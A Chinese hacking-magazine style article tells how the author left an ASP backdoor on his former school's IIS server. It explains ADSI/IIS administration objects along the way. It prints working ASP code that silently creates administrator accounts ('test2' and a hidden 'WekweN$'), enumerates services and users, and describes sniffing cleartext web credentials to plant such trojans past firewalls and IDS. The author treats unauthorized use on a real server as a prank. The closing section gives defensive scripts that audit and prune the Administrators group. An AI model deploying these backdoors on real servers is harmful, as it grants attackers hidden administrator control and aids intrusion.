你根本想不到的——IIS另类后门
终于由学校步入了社会,发现其实学校还是有很多值得我们留恋的地方,而工作其实蛮辛苦的,最主要的是不能经常和朋友一起去网上玩了。上周六回了趟学校,在主机房里和做网管的朋友聊天,偶然发现一个很熟的ASP程序在服务器的网站目录里(以前我是学校网络组的成员之一),于是连了下看看,没有给予匿名浏览的权限,不过账号勾选的是记住密码,登录成功。网页显示“添加test2用户成功”,“添加test2管理员成功”。呵呵,我连管理员密码都不知道呢。打开3389,叫朋友看了下用户列表……
“怎么你个家伙每次来都没好事?快说,这次你又搞什么啦!”
“倒!你别着急,其实只是以前的一个ASP木马没删掉嘛。”
朋友不信,打开思易等asp木马专用查杀工具搜索了一番,还查了下各ASP网页的Classid值,又打开新版的诺顿扫描了所有盘……完了问我,你的木马呢?我打开网页,给他看代码。“晕,你这是什么木马啊,Cmd又没有,FSO也没,连加密也没加,短短的几句代码……”这个说来就话长了……
在以前版本的IIS中存在两个问题。第一,缺乏一个清晰的、开放的第三方管理产品的接口和一个定制的常规管理任务自动化的可编程接口;第二,需要一个控制目录服务以使网络上的服务器能够互相发现的机制。如果这些接口存在,站点创建者可以使用各种类型的工具来编写各种类型的服务器管理应用,比如除了用户管理和安全性产品外,他们还能创建用于性能管理、安装和配置的程序。于是Microsoft在1998年早些时候发布了一个活动目录服务接口(Active Directory ServiceInterfaces,ADSI)的新版本。ADSI和IIS管理对象(IIS Administration Object,IISAO)一起提供了一个用于控制目录服务和IIS自己的联合解决方案。
IISAO能够被使用许多不同语言编制的应用所访问,其中包括C++、Delphi、Java和VB。除了数量增长迅速外,第三方站点管理工具均可以通过ADSI和IISAO更好地挂接到IIS和目录服务中。另外,IISAO也可以经由一个服务器端的脚本引擎和活动服务器页面(Active Server Page,ASP)通过WEB页面被访问。事实上,如果正使用IIS 4.0以上管理工具的HTML版本,那么已经在使用IISAO。IISAO还能从使用Windows脚本主机(Windows Scripting Host,WSH)的命令行访问。
和IISAO一样,ADSI只是一组COM对象,能够在它们各自的目录服务中封装对象。这在本地目录服务和应用中创建了一个抽象层,因此,站点创建者可以通过一个单一的公共接口来控制许多不同的目录服务。利用这个功能强大的活动目录服务接口,我们能在Windows NT平台创建本地或远程主机管理员权限的完全访问,黑防以前关于脚本攻击的一些文章多少都带到了这方面的应用。
比如我们要看远程机器上开的服务(准备好Pskill,把防火墙先停了),代码如下:
<%Set ComputerObj = GetObject("WinNT://127.0.0.1")
ComputerObj.Filter = Array("Service")
For Each Service in ComputerObj
Response.Write "Service display name = " & Service.DisplayName
Response.Write("<BR>")
Response.Write "Service account name = " & Service.ServiceAccountName
Response.Write("<BR>")
Response.Write "Service executable = " & Service.Path
Next%>
执行后返回结果.
怎么样?服务全部出来了吧?连服务对应的路径都有,比任务管理器还好用。“你好象还没把你刚才做的事情说清楚啊?”OK,其实学校服务器上的ASP程序的代码也很少,从添加账户到提升权限不过十几行:
<%
Set onlineServer= GetObject("WinNT://127.0.0.1")
Set newuser= onlineServer.Create("user","test2")
NewUser.SetPassword "test2"
NewUser.FullName="Test2 test"
NewUser.Description="testuser"
NewUser.Setinfo
Set oDomain = GetObject("WinNT://" &"127.0.0.1")
Set oGroup = oDomain.GetObject("Group", "administrators")
oGroup.Add ("winnt://test2")
Response.Write "添加test2用户成功"
Response.Write "添加test2管理员成功"
Set oDomain=Nothing
Set oGroup=Nothing
%>
看看效果吧。
查看当前机器所有帐户可以使用如下代码:
Set onlineServer= GetObject("WinNT://127.0.0.1")
onlineServer.filter=array("user")
for each member in onlineserver
response.Write member.name & "--" & member.FullName &"<br>"
next
Set onlineServer= GetObject("WinNT://127.0.0.1")
:
话说回来,在网站权限提升的方面这个用处并不大,只能用于特殊情况下对服务器权限造成有效攻击,网上有朋友写过一段这样的代码:<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <-----密码
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$Content$nbsp;超级账号建立成功!"%>
说是新的漏洞可将普通用户提升管理员,可是我经过测试发现没有成功,在非主流的攻击方法中一般是这样使用的:它不是要求密码账号才能浏览吗?你可以先在目标网段嗅探对方的WEB连接账号,因为在默认情况下,WEB账户和密码在传递的时候是完全透明的!再用已经拥有的部分权限插入此类ASP木马向服务器渗透(这里指的是特殊情况,谁要以为有了账号密码就无敌的话我也没办法,我现在只是说特殊情况下,优点是能躲过防火墙和IDS的阻扰。一般的服务器就用Cmd.asp搞定吧,不用那么麻烦)。
“哇,这么危险,删掉删掉。”朋友刷刷点了两下鼠标,就把我的程序干掉了,我看没什么事情,道了个别正准备回去。
“站住,要是有别人用这个来搞破坏怎么办呢?”朋友拉着我问。“其实防护方法也很简单,就是恢复匿名访问”,话一出口朋友一本巨厚的牛津字典准备要拍过来了,我只能继续往下说。
如果一定要用到此类访问的话,可以写一些与其对抗的ASP代码,比如:以下是返回计算机上本地管理员组的所有成员,你可以加上自动刷新,一发现入侵就跳出个对话框好了:
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer &
"/Administrators,group")
For Each objUser in objGroup.Members
Response.Write objUser.Name
Next
发现不是本地管理员用户账号和域管理员账号就删掉的代码(非Administrator就干掉):
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer &
"/Administrators,group")
For Each objUser in objGroup.Members
If objUser.Name <> "Administrator" and objUser.Name <> _
"work\Administrator" Then
objGroup.Remove(objUser.ADsPath)
End If
Next
一段报告本地计算机上来宾账户状态的脚本:
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
If objUser.AccountDisabled Then
Response.Write "guest账户未使用."
Else
Response.Write "guest用户被使用."
End If
检查你计算机上是否有文件被共享:
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer &
"\root\cimv2")
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")
For each objShare in colShares
Response.Write "Name: " & objShare.Name
Response.Write "Path: " & objShare.Path
Response.Write "Type: " & objShare.Type
Next
“就这样就行了吗?我觉得用它写个IIS后门非常不错,我得研究下。明天是周日,你不准走了,帮我值班!”,天那,又要通宵看机房了,我的兄弟我的周末啊!